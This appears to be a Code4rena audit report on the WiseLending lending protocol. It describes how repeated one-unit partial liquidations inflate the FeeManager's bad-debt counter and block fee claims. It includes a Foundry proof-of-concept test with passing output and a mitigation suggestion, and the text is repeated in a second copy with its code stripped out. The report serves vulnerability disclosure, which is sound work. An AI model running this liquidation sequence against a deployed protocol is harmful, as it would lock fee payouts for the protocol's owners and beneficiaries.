When someone liquidates a position in WiseLending contract, if it had bad debt, it is accounted in FeeManager. This action is executed as follows:
/**
* @dev Checks for bad debt logic. Compares
* total ETH of borrow and collateral.
*/
function checkBadDebtLiquidation(
uint256 _nftId
)
external
onlyWiseLending
{
uint256 bareCollateral = overallETHCollateralsBare(
_nftId
);
uint256 totalBorrow = overallETHBorrowBare(
_nftId
);
if (totalBorrow < bareCollateral) {
return;
}
unchecked {
uint256 diff = totalBorrow
- bareCollateral;
FEE_MANAGER.increaseTotalBadDebtLiquidation(
diff
);
FEE_MANAGER.setBadDebtUserLiquidation(
_nftId,
diff
);
}
}
As we can see, when the liquidation is executed inside the WiseLending contract, it checks for the total collateral value of the position and the value borrowed. If the value borrowed exceeds the collateral, means that the position has bad debt and it needs to be accounted in the FeeManager contract. To do that, it calls 2 functions: setBadDebtUserLiquidation and increaseTotalBadDebtLiquidation.
The behavior of each function is related with their names, in the case of the first function, it sets the bad debt to the position overriding the value it previously had, but for the second, it increments the bad debt to the previous value that totalBadDebtETH variable had. Since liquidating a position does not ensure that it ends to a healthy state, someone can increment a lot of totalBadDebtETH almost for free just by liquidating a position that has bad debt and repaying just 1 unit of borrowed share. Thus, the totalBadDebtETH can be easily manipulated and this can harm the following actions:
When someone would call FeeManager::claimWiseFees to claim the fees from the lending component, the incentives for owner A and B would receive nothing. That is because the accounting of bad debt would be broken and it would always be greater than 0.
function claimWiseFees(
address _poolToken
)
public
{
...
// @audit this state will never be reached if someone manipulates the total bad debt
if (totalBadDebtETH == 0) {
tokenAmount = _distributeIncentives(
tokenAmount,
_poolToken,
underlyingTokenAddress
);
}
...
}
The function FeeManager::claimFeesBeneficial will not work again for the same reason, because if there is any bad debt, the function call reverts.
function claimFeesBeneficial(
address _feeToken,
uint256 _amount
)
external
{
...
if (totalBadDebtETH > 0) {
revert ExistingBadDebt();
}
...
}
Proof of Concept
For the sake of testing, I adjusted the collateral factors manually when deploying the protocol locally:
And also created a function inside the MockChainlink to set the prices of the tokens:
function setNewPrice(uint256 newPrice) public {
ethValuePerToken = newPrice;
}
Proof of concept to increase bad debt almost for free and unlimited amount of times:
function testIncreaseBadDebt() public {
address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49;
address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a;
uint256 liquidatedPositionNFT = 6;
uint256 liquidatorPositionNFT = 7;
testDeployLocal();
skip(1000);
// Add some tokens2 to have enough liquidity
address thirdParty = makeAddr("thirdParty");
deal(address(token2), thirdParty, 1_000 ether);
vm.startPrank(thirdParty);
IERC20(token2).approve(address(LENDING_INSTANCE), 1_000 ether);
LENDING_INSTANCE.depositExactAmountMint(token2, 1_000 ether);
vm.stopPrank();
// Initially the price for tokens are:
// 1 Token1 = 1 ETH
MOCK_CHAINLINK_1.setNewPrice(1 ether);
// 1 Token2 = 1 ETH
MOCK_CHAINLINK_2.setNewPrice(1 ether);
// Bob is liquidating Alice
address alice = makeAddr("alice");
address bob = makeAddr("bob");
deal(token1, alice, 100 ether);
deal(token2, bob, 50 ether);
vm.startPrank(alice);
IERC20(token1).approve(address(LENDING_INSTANCE), 100 ether);
LENDING_INSTANCE.depositExactAmountMint(token1, 100 ether);
LENDING_INSTANCE.borrowExactAmount(liquidatedPositionNFT, token2, 80 ether);
vm.stopPrank();
// Time passes and value of token3 drops significantly
// 1 Token2 = 0.5 ETH
// Bad debt is 30 ETH
MOCK_CHAINLINK_1.setNewPrice(0.5 ether);
console.log("Initial bad debt accounted in FeeManager", FEE_MANAGER_INSTANCE.totalBadDebtETH());
vm.startPrank(bob);
IERC20(token2).approve(address(LENDING_INSTANCE), 200 ether);
LENDING_INSTANCE.depositExactAmountMint(token2, 10 ether);
LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1);
LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1);
LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1);
LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1);
// Calling liquidation function 4 times is accounting 120 ETH of bad debt because 4*30 = 120
console.log("Final bad debt accounted in FeeManager", FEE_MANAGER_INSTANCE.totalBadDebtETH());
vm.stopPrank();
}
Result:
[PASS] testIncreaseBadDebt() (gas: 43839712)
Logs:
Initial bad debt accounted in FeeManager 0
Final bad debt accounted in FeeManager 120000000000000000494
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 36.45ms
Ran 1 test suite in 36.45ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Tools Used
Manual review
Recommended Mitigation Steps
I would recommend to batch the bad debt accounting of the position and the total bad debt in the same function. And it would look like that:
It checks if the position had a previously registered bad debt and account the total bad debt according to the updated bad debt of the position without being vulnerable to manipulation.
Lines of code
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/FeeManager/FeeManagerHelper.sol#L86-L100
Vulnerability details
Impact
When someone liquidates a position in
WiseLending
contract, if it had bad debt, it is accounted inFeeManager
. This action is executed as follows:As we can see, when the liquidation is executed inside the
WiseLending
contract, it checks for the total collateral value of the position and the value borrowed. If the value borrowed exceeds the collateral, means that the position has bad debt and it needs to be accounted in theFeeManager
contract. To do that, it calls 2 functions:setBadDebtUserLiquidation
andincreaseTotalBadDebtLiquidation
.The behavior of each function is related with their names, in the case of the first function, it sets the bad debt to the position overriding the value it previously had, but for the second, it increments the bad debt to the previous value that
totalBadDebtETH
variable had. Since liquidating a position does not ensure that it ends to a healthy state, someone can increment a lot oftotalBadDebtETH
almost for free just by liquidating a position that has bad debt and repaying just 1 unit of borrowed share. Thus, thetotalBadDebtETH
can be easily manipulated and this can harm the following actions:FeeManager::claimWiseFees
to claim the fees from the lending component, the incentives for owner A and B would receive nothing. That is because the accounting of bad debt would be broken and it would always be greater than 0.FeeManager::claimFeesBeneficial
will not work again for the same reason, because if there is any bad debt, the function call reverts.Proof of Concept
For the sake of testing, I adjusted the collateral factors manually when deploying the protocol locally:
And also created a function inside the
MockChainlink
to set the prices of the tokens:Proof of concept to increase bad debt almost for free and unlimited amount of times:
Result:
Tools Used
Manual review
Recommended Mitigation Steps
I would recommend to batch the bad debt accounting of the position and the total bad debt in the same function. And it would look like that:
It checks if the position had a previously registered bad debt and account the total bad debt according to the updated bad debt of the position without being vulnerable to manipulation.
Assessed type
Error